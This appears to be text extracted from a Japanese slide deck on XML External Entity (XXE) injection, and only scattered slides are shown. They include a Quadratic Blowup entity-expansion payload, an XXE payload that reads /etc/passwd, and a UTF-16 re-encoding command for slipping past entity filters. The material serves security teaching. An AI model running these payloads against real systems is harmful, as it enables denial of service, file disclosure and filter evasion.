Jp xxe injection_20170627_moon
- 6. DTD (Document Type Definition)
XML文書に使用されるコンポーネントを定義
<!DOCTYPE recipe
[
<!ELEMENT recipe (title?, ingredientlist?,preparation?)>
<!ELEMENT ingredientlist (ingredient+)>
<!ELEMENT ingredient (#PCDATA)>
<!ELEMENT preparation (#PCDATA)>
]>
- 20. 代案攻撃 : Quadratic Blowup
• 参照を1段階までにする。
• Entityの内容を長くする。
• 参照回数を多くする。
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY a "lololollololollololollololollololollololollol....">
]>
<test><testing>&a;&a;&a;&a;&a;&a;&a;&a;&a;...
</testing></test>
10000個ぐらい
いれたら?
- 28. Entity 監査迂回
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE methodCall [
<!ENTITY pocdata SYSTEM "file:///etc/passwd">
]>
<methodCall>
<methodName>retrieved: &pocdata;</methodName>
</methodCall>
$ cat poc-utf8.xml | sed 's/UTF-8/UTF-16/' ¥
| iconv -f UTF-8 -t UTF-16 >poc-utf16.xml
poc-utf8.xml
- 30. 参考資料
• http://hyunmini.tistory.com/66
• https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection
• https://ko.wikipedia.org/wiki/XML
• https://en.wikipedia.org/wiki/Document_type_definition
• http://php.net/manual/en/domdocument.loadxml.php
• http://php.net/manual/en/libxml.constants.php
• http://php.net/manual/en/language.operators.bitwise.php
• http://stackoverflow.com/questions/38807506/what-does-libxml-noent-do-and-why-isnt-it-
called-libxml-ent
• https://www.exploit-db.com/exploits/37765/
• https://framework.zend.com/security/advisory/ZF2015-06
• https://github.com/zendframework/ZendXml/blob/master/library/ZendXml/Security.php#L332